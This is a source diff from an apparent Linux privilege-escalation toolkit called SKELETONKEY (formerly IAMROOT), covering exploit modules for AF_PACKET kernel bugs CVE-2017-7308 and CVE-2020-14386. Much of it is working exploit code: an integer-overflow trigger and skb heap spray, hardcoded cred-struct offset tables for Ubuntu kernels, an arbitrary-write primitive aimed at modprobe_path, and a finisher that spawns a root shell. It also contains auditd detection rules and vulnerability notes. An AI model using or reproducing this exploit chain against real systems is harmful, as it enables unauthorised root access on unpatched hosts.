return skeletonkey_finisher_modprobe_path(&off, afp2_arb_write,
|
||||||
&arb_ctx, !ctx->no_shell);
|
&arb_ctx, !ctx->no_shell);
|
||||||
#else
|
#else
|
||||||
fprintf(stderr, "[-] af_packet2: --full-chain is x86_64/linux only\n");
|
fprintf(stderr, "[-] af_packet2: --full-chain is x86_64/linux only\n");
|
||||||
return IAMROOT_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
#endif
|
#endif
|
||||||
}
|
}
|
||||||
if (ctx->no_shell) {
|
if (ctx->no_shell) {
|
||||||
/* User explicitly disabled the shell pop, so the "we didn't
|
/* User explicitly disabled the shell pop, so the "we didn't
|
||||||
* pop a shell" outcome is the expected one. Map to OK. */
|
* pop a shell" outcome is the expected one. Map to OK. */
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
default:
|
default:
|
||||||
fprintf(stderr, "[-] af_packet2: primitive exited %d unexpectedly\n",
|
fprintf(stderr, "[-] af_packet2: primitive exited %d unexpectedly\n",
|
||||||
WEXITSTATUS(status));
|
WEXITSTATUS(status));
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#else /* !__linux__ */
|
||||||
|
|
||||||
|
/* Non-Linux dev builds: AF_PACKET + TPACKET_V2 + tpacket_rcv VLAN
|
||||||
|
* underflow are Linux-only kernel surface. Stub out cleanly so the
|
||||||
|
* module still registers and `--list` / `--detect-rules` work on
|
||||||
|
* macOS/BSD dev boxes — and so the top-level `make` actually completes
|
||||||
|
* there. */
|
||||||
|
static skeletonkey_result_t af_packet2_detect(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[i] af_packet2: Linux-only module "
|
||||||
|
"(AF_PACKET TPACKET_V2 + user_ns) — not applicable here\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
static skeletonkey_result_t af_packet2_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
(void)ctx;
|
||||||
|
fprintf(stderr, "[-] af_packet2: Linux-only module — cannot run here\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif /* __linux__ */
|
||||||
|
|
||||||
static const char af_packet2_auditd[] =
|
static const char af_packet2_auditd[] =
|
||||||
"# AF_PACKET VLAN LPE (CVE-2020-14386) — auditd detection rules\n"
|
"# AF_PACKET VLAN LPE (CVE-2020-14386) — auditd detection rules\n"
|
||||||
"# Same syscall surface as CVE-2017-7308 — share the iamroot-af-packet\n"
|
"# Same syscall surface as CVE-2017-7308 — share the skeletonkey-af-packet\n"
|
||||||
"# key so one ausearch covers both. AF_PACKET socket creation from\n"
|
"# key so one ausearch covers both. AF_PACKET socket creation from\n"
|
||||||
"# non-root via userns is the canonical footprint.\n"
|
"# non-root via userns is the canonical footprint.\n"
|
||||||
"-a always,exit -F arch=b64 -S socket -F a0=17 -k iamroot-af-packet\n";
|
"-a always,exit -F arch=b64 -S socket -F a0=17 -k skeletonkey-af-packet\n";
|
||||||
|
|
||||||
const struct iamroot_module af_packet2_module = {
|
const struct skeletonkey_module af_packet2_module = {
|
||||||
.name = "af_packet2",
|
.name = "af_packet2",
|
||||||
.cve = "CVE-2020-14386",
|
.cve = "CVE-2020-14386",
|
||||||
.summary = "AF_PACKET tpacket_rcv VLAN integer underflow → heap-OOB write",
|
.summary = "AF_PACKET tpacket_rcv VLAN integer underflow → heap-OOB write",
|
||||||
@@ -726,7 +685,7 @@ const struct iamroot_module af_packet2_module = {
|
|||||||
.detect_falco = NULL,
|
.detect_falco = NULL,
|
||||||
};
|
};
|
||||||
|
|
||||||
void iamroot_register_af_packet2(void)
|
void skeletonkey_register_af_packet2(void)
|
||||||
{
|
{
|
||||||
iamroot_register(&af_packet2_module);
|
skeletonkey_register(&af_packet2_module);
|
||||||
}
|
}
|
||||||
@@ -0,0 +1,12 @@
|
|||||||
|
/*
|
||||||
|
* af_packet2_cve_2020_14386 — SKELETONKEY module registry hook
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef AF_PACKET2_SKELETONKEY_MODULES_H
|
||||||
|
#define AF_PACKET2_SKELETONKEY_MODULES_H
|
||||||
|
|
||||||
|
#include "../../core/module.h"
|
||||||
|
|
||||||
|
extern const struct skeletonkey_module af_packet2_module;
|
||||||
|
|
||||||
|
#endif
|
||||||
@@ -0,0 +1,29 @@
|
|||||||
|
# NOTICE — af_packet (CVE-2017-7308)
|
||||||
|
|
||||||
|
## Vulnerability
|
||||||
|
|
||||||
|
**CVE-2017-7308** — AF_PACKET TPACKET_V3 integer overflow in
|
||||||
|
`tp_block_size * tp_block_nr` → heap write-where via sendmmsg spray.
|
||||||
|
|
||||||
|
## Research credit
|
||||||
|
|
||||||
|
Discovered by **Andrey Konovalov** (Google), March 2017. A research-era
|
||||||
|
classic — Konovalov found multiple AF_PACKET bugs in this campaign.
|
||||||
|
|
||||||
|
Original advisory + writeup:
|
||||||
|
<https://googleprojectzero.blogspot.com/2017/05/exploiting-linux-kernel-via-packet.html>
|
||||||
|
|
||||||
|
Upstream fix: mainline 4.11 / stable 4.10.6 (March 2017).
|
||||||
|
Branch backports: 4.10.6 / 4.9.18 / 4.4.57 / 3.18.49.
|
||||||
|
|
||||||
|
## SKELETONKEY role
|
||||||
|
|
||||||
|
x86_64-only. Userns gives CAP_NET_RAW; `socket(AF_PACKET, SOCK_RAW)`
|
||||||
|
+ TPACKET_V3 with overflowing tp_block_size triggers the integer
|
||||||
|
overflow + heap spray via 200 raw skbs on lo. Best-effort cred-race
|
||||||
|
finisher (64 child workers polling geteuid). Offset table covers
|
||||||
|
Ubuntu 16.04/4.4 and 18.04/4.15; other kernels via the
|
||||||
|
`SKELETONKEY_AFPACKET_OFFSETS` env var.
|
||||||
|
|
||||||
|
`--full-chain` engages the shared modprobe_path finisher with
|
||||||
|
stride-seeded sk_buff data-pointer overwrite.
|
||||||
@@ -1,12 +0,0 @@
|
|||||||
/*
|
|
||||||
* af_packet_cve_2017_7308 — IAMROOT module registry hook
|
|
||||||
*/
|
|
||||||
|
|
||||||
#ifndef AF_PACKET_IAMROOT_MODULES_H
|
|
||||||
#define AF_PACKET_IAMROOT_MODULES_H
|
|
||||||
|
|
||||||
#include "../../core/module.h"
|
|
||||||
|
|
||||||
extern const struct iamroot_module af_packet_module;
|
|
||||||
|
|
||||||
#endif
|
|
||||||
+116
-89
@@ -1,5 +1,5 @@
|
|||||||
/*
|
/*
|
||||||
* af_packet_cve_2017_7308 — IAMROOT module
|
* af_packet_cve_2017_7308 — SKELETONKEY module
|
||||||
*
|
*
|
||||||
* AF_PACKET TPACKET_V3 ring-buffer setup integer-overflow → heap
|
* AF_PACKET TPACKET_V3 ring-buffer setup integer-overflow → heap
|
||||||
* write-where primitive. Discovered by Andrey Konovalov (March 2017).
|
* write-where primitive. Discovered by Andrey Konovalov (March 2017).
|
||||||
@@ -15,9 +15,9 @@
|
|||||||
*
|
*
|
||||||
* Default --exploit path: cred-overwrite walk using a hardcoded per-
|
* Default --exploit path: cred-overwrite walk using a hardcoded per-
|
||||||
* kernel offset table (Ubuntu 16.04 / 4.4 and Ubuntu 18.04 / 4.15
|
* kernel offset table (Ubuntu 16.04 / 4.4 and Ubuntu 18.04 / 4.15
|
||||||
* era), overridable via IAMROOT_AFPACKET_OFFSETS. We only claim
|
* era), overridable via SKELETONKEY_AFPACKET_OFFSETS. We only claim
|
||||||
* IAMROOT_EXPLOIT_OK if geteuid() == 0 after the chain runs — i.e.
|
* SKELETONKEY_EXPLOIT_OK if geteuid() == 0 after the chain runs — i.e.
|
||||||
* we won root for real. Otherwise we return IAMROOT_EXPLOIT_FAIL with
|
* we won root for real. Otherwise we return SKELETONKEY_EXPLOIT_FAIL with
|
||||||
* a dmesg breadcrumb so the operator can confirm the primitive at
|
* a dmesg breadcrumb so the operator can confirm the primitive at
|
||||||
* least fired (KASAN slab-out-of-bounds splat) even if the cred-
|
* least fired (KASAN slab-out-of-bounds splat) even if the cred-
|
||||||
* overwrite didn't take on this exact kernel.
|
* overwrite didn't take on this exact kernel.
|
||||||
@@ -32,7 +32,7 @@
|
|||||||
* staged for the requested kaddr/buf and relies on the shared
|
* staged for the requested kaddr/buf and relies on the shared
|
||||||
* finisher's /tmp sentinel to confirm whether modprobe_path was
|
* finisher's /tmp sentinel to confirm whether modprobe_path was
|
||||||
* actually overwritten. On kernels where the operator has supplied
|
* actually overwritten. On kernels where the operator has supplied
|
||||||
* IAMROOT_AFPACKET_SKB_DATA_OFFSET (skb->data field byte offset from
|
* SKELETONKEY_AFPACKET_SKB_DATA_OFFSET (skb->data field byte offset from
|
||||||
* the skb head, hex), we use that for explicit targeting; otherwise
|
* the skb head, hex), we use that for explicit targeting; otherwise
|
||||||
* the trigger fires heuristically and the sentinel acts as the
|
* the trigger fires heuristically and the sentinel acts as the
|
||||||
* ground-truth signal.
|
* ground-truth signal.
|
||||||
@@ -58,19 +58,25 @@
|
|||||||
* skb in the OOB slot" approach.
|
* skb in the OOB slot" approach.
|
||||||
*/
|
*/
|
||||||
|
|
||||||
#include "iamroot_modules.h"
|
#include "skeletonkey_modules.h"
|
||||||
#include "../../core/registry.h"
|
#include "../../core/registry.h"
|
||||||
#include "../../core/kernel_range.h"
|
|
||||||
#include "../../core/offsets.h"
|
|
||||||
#include "../../core/finisher.h"
|
|
||||||
|
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
#include <stdint.h>
|
#include <stdint.h>
|
||||||
#include <string.h>
|
#include <string.h>
|
||||||
|
#include <stdbool.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
|
||||||
|
#ifdef __linux__
|
||||||
|
|
||||||
|
#include "../../core/kernel_range.h"
|
||||||
|
#include "../../core/host.h"
|
||||||
|
#include "../../core/offsets.h"
|
||||||
|
#include "../../core/finisher.h"
|
||||||
|
|
||||||
#include <errno.h>
|
#include <errno.h>
|
||||||
#include <fcntl.h>
|
#include <fcntl.h>
|
||||||
#include <unistd.h>
|
|
||||||
#include <sched.h>
|
#include <sched.h>
|
||||||
#include <sys/wait.h>
|
#include <sys/wait.h>
|
||||||
#include <sys/socket.h>
|
#include <sys/socket.h>
|
||||||
@@ -106,54 +112,45 @@ static const struct kernel_range af_packet_range = {
|
|||||||
sizeof(af_packet_patched_branches[0]),
|
sizeof(af_packet_patched_branches[0]),
|
||||||
};
|
};
|
||||||
|
|
||||||
static int can_unshare_userns(void)
|
static skeletonkey_result_t af_packet_detect(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
pid_t pid = fork();
|
/* Consult the shared host fingerprint instead of calling
|
||||||
if (pid < 0) return -1;
|
* kernel_version_current() ourselves — populated once at startup
|
||||||
if (pid == 0) {
|
* and identical across every module's detect(). */
|
||||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) == 0) _exit(0);
|
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||||
_exit(1);
|
if (!v || v->major == 0) {
|
||||||
}
|
if (!ctx->json)
|
||||||
int status;
|
fprintf(stderr, "[!] af_packet: host fingerprint missing kernel "
|
||||||
waitpid(pid, &status, 0);
|
"version — bailing\n");
|
||||||
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
|
|
||||||
static iamroot_result_t af_packet_detect(const struct iamroot_ctx *ctx)
|
bool patched = kernel_range_is_patched(&af_packet_range, v);
|
||||||
{
|
|
||||||
struct kernel_version v;
|
|
||||||
if (!kernel_version_current(&v)) {
|
|
||||||
fprintf(stderr, "[!] af_packet: could not parse kernel version\n");
|
|
||||||
return IAMROOT_TEST_ERROR;
|
|
||||||
}
|
|
||||||
|
|
||||||
bool patched = kernel_range_is_patched(&af_packet_range, &v);
|
|
||||||
if (patched) {
|
if (patched) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] af_packet: kernel %s is patched\n", v.release);
|
fprintf(stderr, "[+] af_packet: kernel %s is patched\n", v->release);
|
||||||
}
|
}
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
int userns_ok = can_unshare_userns();
|
bool userns_ok = ctx->host ? ctx->host->unprivileged_userns_allowed : false;
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[i] af_packet: kernel %s in vulnerable range\n", v.release);
|
fprintf(stderr, "[i] af_packet: kernel %s in vulnerable range\n", v->release);
|
||||||
fprintf(stderr, "[i] af_packet: user_ns+net_ns clone (CAP_NET_RAW gate): %s\n",
|
fprintf(stderr, "[i] af_packet: user_ns+net_ns clone (CAP_NET_RAW gate): %s\n",
|
||||||
userns_ok == 1 ? "ALLOWED" :
|
userns_ok ? "ALLOWED" : "DENIED");
|
||||||
userns_ok == 0 ? "DENIED" : "could not test");
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if (userns_ok == 0) {
|
if (!userns_ok) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] af_packet: user_ns denied → "
|
fprintf(stderr, "[+] af_packet: user_ns denied → "
|
||||||
"unprivileged exploit unreachable\n");
|
"unprivileged exploit unreachable\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
}
|
}
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[!] af_packet: VULNERABLE — kernel in range AND user_ns reachable\n");
|
fprintf(stderr, "[!] af_packet: VULNERABLE — kernel in range AND user_ns reachable\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_VULNERABLE;
|
return SKELETONKEY_VULNERABLE;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* ---- Exploit (x86_64-only; gated below) -------------------------- */
|
/* ---- Exploit (x86_64-only; gated below) -------------------------- */
|
||||||
@@ -173,7 +170,7 @@ static iamroot_result_t af_packet_detect(const struct iamroot_ctx *ctx)
|
|||||||
* They will NOT match custom-compiled kernels.
|
* They will NOT match custom-compiled kernels.
|
||||||
*
|
*
|
||||||
* Override at runtime via env var:
|
* Override at runtime via env var:
|
||||||
* IAMROOT_AFPACKET_OFFSETS="<task_cred>:<cred_uid>:<cred_size>"
|
* SKELETONKEY_AFPACKET_OFFSETS="<task_cred>:<cred_uid>:<cred_size>"
|
||||||
*
|
*
|
||||||
* `task_cred` = offsetof(struct task_struct, cred)
|
* `task_cred` = offsetof(struct task_struct, cred)
|
||||||
* `cred_uid` = offsetof(struct cred, uid) [followed by gid, etc.]
|
* `cred_uid` = offsetof(struct cred, uid) [followed by gid, etc.]
|
||||||
@@ -200,12 +197,12 @@ static const struct af_packet_offsets known_offsets[] = {
|
|||||||
0x800, 0x08, 0xa8 },
|
0x800, 0x08, 0xa8 },
|
||||||
};
|
};
|
||||||
|
|
||||||
/* Parse IAMROOT_AFPACKET_OFFSETS env var if set; otherwise pick from
|
/* Parse SKELETONKEY_AFPACKET_OFFSETS env var if set; otherwise pick from
|
||||||
* the known table by kernel version. Returns true on success. */
|
* the known table by kernel version. Returns true on success. */
|
||||||
static bool resolve_offsets(struct af_packet_offsets *out,
|
static bool resolve_offsets(struct af_packet_offsets *out,
|
||||||
const struct kernel_version *v)
|
const struct kernel_version *v)
|
||||||
{
|
{
|
||||||
const char *env = getenv("IAMROOT_AFPACKET_OFFSETS");
|
const char *env = getenv("SKELETONKEY_AFPACKET_OFFSETS");
|
||||||
if (env) {
|
if (env) {
|
||||||
unsigned long t, u, s;
|
unsigned long t, u, s;
|
||||||
if (sscanf(env, "%lx:%lx:%lx", &t, &u, &s) == 3) {
|
if (sscanf(env, "%lx:%lx:%lx", &t, &u, &s) == 3) {
|
||||||
@@ -215,7 +212,7 @@ static bool resolve_offsets(struct af_packet_offsets *out,
|
|||||||
out->cred_size = s;
|
out->cred_size = s;
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
fprintf(stderr, "[!] af_packet: IAMROOT_AFPACKET_OFFSETS malformed "
|
fprintf(stderr, "[!] af_packet: SKELETONKEY_AFPACKET_OFFSETS malformed "
|
||||||
"(want hex \"<task_cred>:<cred_uid>:<cred_size>\")\n");
|
"(want hex \"<task_cred>:<cred_uid>:<cred_size>\")\n");
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
@@ -264,7 +261,7 @@ static int set_id_maps(uid_t outer_uid, gid_t outer_gid)
|
|||||||
*
|
*
|
||||||
* After firing, we check dmesg-ability (we won't actually read dmesg
|
* After firing, we check dmesg-ability (we won't actually read dmesg
|
||||||
* — that requires root — but we leave a unique tag in the skb payload
|
* — that requires root — but we leave a unique tag in the skb payload
|
||||||
* so the operator can grep dmesg for "iamroot-afp-tag" KASAN splats).
|
* so the operator can grep dmesg for "skeletonkey-afp-tag" KASAN splats).
|
||||||
*/
|
*/
|
||||||
static int fire_overflow_and_spray(void)
|
static int fire_overflow_and_spray(void)
|
||||||
{
|
{
|
||||||
@@ -338,7 +335,7 @@ static int fire_overflow_and_spray(void)
|
|||||||
static const unsigned char skb_payload[256] = {
|
static const unsigned char skb_payload[256] = {
|
||||||
/* eth header (dst=broadcast, src=zero, type=0x0800) */
|
/* eth header (dst=broadcast, src=zero, type=0x0800) */
|
||||||
0xff,0xff,0xff,0xff,0xff,0xff, 0,0,0,0,0,0, 0x08,0x00,
|
0xff,0xff,0xff,0xff,0xff,0xff, 0,0,0,0,0,0, 0x08,0x00,
|
||||||
/* IAMROOT tag — operator can grep dmesg for this string in any
|
/* SKELETONKEY tag — operator can grep dmesg for this string in any
|
||||||
* subsequent KASAN report or panic dump */
|
* subsequent KASAN report or panic dump */
|
||||||
'i','a','m','r','o','o','t','-','a','f','p','-','t','a','g',
|
'i','a','m','r','o','o','t','-','a','f','p','-','t','a','g',
|
||||||
/* zeros for the remainder */
|
/* zeros for the remainder */
|
||||||
@@ -363,7 +360,7 @@ static int fire_overflow_and_spray(void)
|
|||||||
/* Keep the corrupted socket open so the OOB region stays mapped
|
/* Keep the corrupted socket open so the OOB region stays mapped
|
||||||
* for the cred-overwrite walk that follows. The caller closes it. */
|
* for the cred-overwrite walk that follows. The caller closes it. */
|
||||||
/* Stash the fd via dup2 to a known number so the caller can find it.
|
/* Stash the fd via dup2 to a known number so the caller can find it.
|
||||||
* Use 200 — well above stdio + iamroot's own pipe fds. */
|
* Use 200 — well above stdio + skeletonkey's own pipe fds. */
|
||||||
if (dup2(s, 200) < 0) {
|
if (dup2(s, 200) < 0) {
|
||||||
fprintf(stderr, "[!] af_packet: dup2(s, 200): %s\n", strerror(errno));
|
fprintf(stderr, "[!] af_packet: dup2(s, 200): %s\n", strerror(errno));
|
||||||
}
|
}
|
||||||
@@ -474,7 +471,7 @@ static int attempt_cred_overwrite(const struct af_packet_offsets *off)
|
|||||||
* spray payload so its bytes carry the requested target kaddr
|
* spray payload so its bytes carry the requested target kaddr
|
||||||
* (the prompt's "controllable overwrite value aimed at
|
* (the prompt's "controllable overwrite value aimed at
|
||||||
* modprobe_path"). Operator-supplied
|
* modprobe_path"). Operator-supplied
|
||||||
* IAMROOT_AFPACKET_SKB_DATA_OFFSET (hex byte offset of `data`
|
* SKELETONKEY_AFPACKET_SKB_DATA_OFFSET (hex byte offset of `data`
|
||||||
* within struct sk_buff for this kernel build) lets us aim
|
* within struct sk_buff for this kernel build) lets us aim
|
||||||
* precisely; without it we heuristically stamp kaddr at several
|
* precisely; without it we heuristically stamp kaddr at several
|
||||||
* plausible offsets within the kmalloc-2k skb layout.
|
* plausible offsets within the kmalloc-2k skb layout.
|
||||||
@@ -491,7 +488,7 @@ static int attempt_cred_overwrite(const struct af_packet_offsets *off)
|
|||||||
*/
|
*/
|
||||||
|
|
||||||
struct afp_arb_ctx {
|
struct afp_arb_ctx {
|
||||||
const struct iamroot_ctx *ctx;
|
const struct skeletonkey_ctx *ctx;
|
||||||
const struct af_packet_offsets *off;
|
const struct af_packet_offsets *off;
|
||||||
uid_t outer_uid;
|
uid_t outer_uid;
|
||||||
gid_t outer_gid;
|
gid_t outer_gid;
|
||||||
@@ -517,13 +514,13 @@ static int afp_arb_write(uintptr_t kaddr, const void *buf, size_t len,
|
|||||||
/* Per-kernel skb->data field offset — without this we can't aim
|
/* Per-kernel skb->data field offset — without this we can't aim
|
||||||
* the overwrite precisely. Operator can supply via env; otherwise
|
* the overwrite precisely. Operator can supply via env; otherwise
|
||||||
* we run heuristic mode. */
|
* we run heuristic mode. */
|
||||||
const char *skb_off_env = getenv("IAMROOT_AFPACKET_SKB_DATA_OFFSET");
|
const char *skb_off_env = getenv("SKELETONKEY_AFPACKET_SKB_DATA_OFFSET");
|
||||||
long skb_data_off = -1;
|
long skb_data_off = -1;
|
||||||
if (skb_off_env) {
|
if (skb_off_env) {
|
||||||
char *end = NULL;
|
char *end = NULL;
|
||||||
skb_data_off = strtol(skb_off_env, &end, 0);
|
skb_data_off = strtol(skb_off_env, &end, 0);
|
||||||
if (!end || *end != '\0' || skb_data_off < 0 || skb_data_off > 0x400) {
|
if (!end || *end != '\0' || skb_data_off < 0 || skb_data_off > 0x400) {
|
||||||
fprintf(stderr, "[-] af_packet: IAMROOT_AFPACKET_SKB_DATA_OFFSET "
|
fprintf(stderr, "[-] af_packet: SKELETONKEY_AFPACKET_SKB_DATA_OFFSET "
|
||||||
"malformed (\"%s\"); ignoring\n", skb_off_env);
|
"malformed (\"%s\"); ignoring\n", skb_off_env);
|
||||||
skb_data_off = -1;
|
skb_data_off = -1;
|
||||||
}
|
}
|
||||||
@@ -540,16 +537,16 @@ static int afp_arb_write(uintptr_t kaddr, const void *buf, size_t len,
|
|||||||
" field offset. The trigger will still fire and the heap spray will\n"
|
" field offset. The trigger will still fire and the heap spray will\n"
|
||||||
" still occur, but precise OOB targeting requires:\n"
|
" still occur, but precise OOB targeting requires:\n"
|
||||||
"\n"
|
"\n"
|
||||||
" IAMROOT_AFPACKET_SKB_DATA_OFFSET=0x<hex offset>\n"
|
" SKELETONKEY_AFPACKET_SKB_DATA_OFFSET=0x<hex offset>\n"
|
||||||
"\n"
|
"\n"
|
||||||
" Look it up on this kernel build with `pahole struct sk_buff` or\n"
|
" Look it up on this kernel build with `pahole struct sk_buff` or\n"
|
||||||
" `gdb -batch -ex 'p &((struct sk_buff*)0)->data' vmlinux`. The\n"
|
" `gdb -batch -ex 'p &((struct sk_buff*)0)->data' vmlinux`. The\n"
|
||||||
" /tmp/iamroot-pwn-<pid> sentinel adjudicates success either way.\n");
|
" /tmp/skeletonkey-pwn-<pid> sentinel adjudicates success either way.\n");
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Fork into a userns/netns child so the AF_PACKET socket has
|
/* Fork into a userns/netns child so the AF_PACKET socket has
|
||||||
* CAP_NET_RAW. The finisher itself stays in the parent so its
|
* CAP_NET_RAW. The finisher itself stays in the parent so its
|
||||||
* eventual execve() replaces the top-level iamroot process. */
|
* eventual execve() replaces the top-level skeletonkey process. */
|
||||||
pid_t cpid = fork();
|
pid_t cpid = fork();
|
||||||
if (cpid < 0) {
|
if (cpid < 0) {
|
||||||
fprintf(stderr, "[-] af_packet: arb_write: fork: %s\n",
|
fprintf(stderr, "[-] af_packet: arb_write: fork: %s\n",
|
||||||
@@ -648,7 +645,7 @@ static int afp_arb_write_inner(uintptr_t kaddr, const void *buf, size_t len,
|
|||||||
memset(payload, 0xff, 6); /* eth dst: bcast */
|
memset(payload, 0xff, 6); /* eth dst: bcast */
|
||||||
memset(payload + 6, 0, 6); /* eth src: zero */
|
memset(payload + 6, 0, 6); /* eth src: zero */
|
||||||
payload[12] = 0x08; payload[13] = 0x00; /* eth type: IPv4 */
|
payload[12] = 0x08; payload[13] = 0x00; /* eth type: IPv4 */
|
||||||
memcpy(payload + 14, "iamroot-afp-fc-", 15); /* dmesg tag */
|
memcpy(payload + 14, "skeletonkey-afp-fc-", 15); /* dmesg tag */
|
||||||
|
|
||||||
if (skb_data_off >= 0 &&
|
if (skb_data_off >= 0 &&
|
||||||
(size_t)skb_data_off + sizeof kaddr <= sizeof payload) {
|
(size_t)skb_data_off + sizeof kaddr <= sizeof payload) {
|
||||||
@@ -703,41 +700,47 @@ static int afp_arb_write_inner(uintptr_t kaddr, const void *buf, size_t len,
|
|||||||
|
|
||||||
#endif /* __x86_64__ */
|
#endif /* __x86_64__ */
|
||||||
|
|
||||||
static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t af_packet_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
#if !defined(__x86_64__)
|
#if !defined(__x86_64__)
|
||||||
(void)ctx;
|
(void)ctx;
|
||||||
fprintf(stderr, "[-] af_packet: exploit is x86_64-only "
|
fprintf(stderr, "[-] af_packet: exploit is x86_64-only "
|
||||||
"(cred-offset table is arch-specific)\n");
|
"(cred-offset table is arch-specific)\n");
|
||||||
return IAMROOT_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
#else
|
#else
|
||||||
/* 1. Refuse on patched kernels — re-run detect. */
|
/* 1. Refuse on patched kernels — re-run detect. */
|
||||||
iamroot_result_t pre = af_packet_detect(ctx);
|
skeletonkey_result_t pre = af_packet_detect(ctx);
|
||||||
if (pre != IAMROOT_VULNERABLE) {
|
if (pre != SKELETONKEY_VULNERABLE) {
|
||||||
fprintf(stderr, "[-] af_packet: detect() says not vulnerable; refusing\n");
|
fprintf(stderr, "[-] af_packet: detect() says not vulnerable; refusing\n");
|
||||||
return pre;
|
return pre;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* 2. Refuse if already root. */
|
/* 2. Refuse if already root. Consult ctx->host first so unit tests
|
||||||
if (geteuid() == 0) {
|
* can construct a non-root fingerprint regardless of the test
|
||||||
|
* process's real euid. */
|
||||||
|
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||||
|
if (is_root) {
|
||||||
fprintf(stderr, "[i] af_packet: already root — nothing to escalate\n");
|
fprintf(stderr, "[i] af_packet: already root — nothing to escalate\n");
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* 3. Resolve offsets for THIS kernel. If we don't have them, bail
|
/* 3. Resolve offsets for THIS kernel. If we don't have them, bail
|
||||||
* early — the kernel-write walk needs them. The integrator can
|
* early — the kernel-write walk needs them. The integrator can
|
||||||
* extend known_offsets[] for new distro builds. */
|
* extend known_offsets[] for new distro builds. */
|
||||||
struct kernel_version v;
|
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||||
if (!kernel_version_current(&v)) {
|
if (!v || v->major == 0) {
|
||||||
return IAMROOT_TEST_ERROR;
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[!] af_packet: host fingerprint missing kernel "
|
||||||
|
"version — bailing\n");
|
||||||
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
struct af_packet_offsets off;
|
struct af_packet_offsets off;
|
||||||
if (!resolve_offsets(&off, &v)) {
|
if (!resolve_offsets(&off, v)) {
|
||||||
fprintf(stderr, "[-] af_packet: no offset table for kernel %s\n"
|
fprintf(stderr, "[-] af_packet: no offset table for kernel %s\n"
|
||||||
" set IAMROOT_AFPACKET_OFFSETS=<task_cred>:<cred_uid>:<cred_size>\n"
|
" set SKELETONKEY_AFPACKET_OFFSETS=<task_cred>:<cred_uid>:<cred_size>\n"
|
||||||
" (hex). Known table covers Ubuntu 16.04 (4.4) and 18.04 (4.15).\n",
|
" (hex). Known table covers Ubuntu 16.04 (4.4) and 18.04 (4.15).\n",
|
||||||
v.release);
|
v->release);
|
||||||
return IAMROOT_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
}
|
}
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[*] af_packet: using offsets [%s] "
|
fprintf(stderr, "[*] af_packet: using offsets [%s] "
|
||||||
@@ -753,15 +756,15 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
|
|||||||
* offset resolver can't find modprobe_path or (b) the trigger
|
* offset resolver can't find modprobe_path or (b) the trigger
|
||||||
* is rejected (silent backport). */
|
* is rejected (silent backport). */
|
||||||
if (ctx->full_chain) {
|
if (ctx->full_chain) {
|
||||||
struct iamroot_kernel_offsets koff;
|
struct skeletonkey_kernel_offsets koff;
|
||||||
memset(&koff, 0, sizeof koff);
|
memset(&koff, 0, sizeof koff);
|
||||||
(void)iamroot_offsets_resolve(&koff);
|
(void)skeletonkey_offsets_resolve(&koff);
|
||||||
if (!iamroot_offsets_have_modprobe_path(&koff)) {
|
if (!skeletonkey_offsets_have_modprobe_path(&koff)) {
|
||||||
iamroot_finisher_print_offset_help("af_packet");
|
skeletonkey_finisher_print_offset_help("af_packet");
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
iamroot_offsets_print(&koff);
|
skeletonkey_offsets_print(&koff);
|
||||||
}
|
}
|
||||||
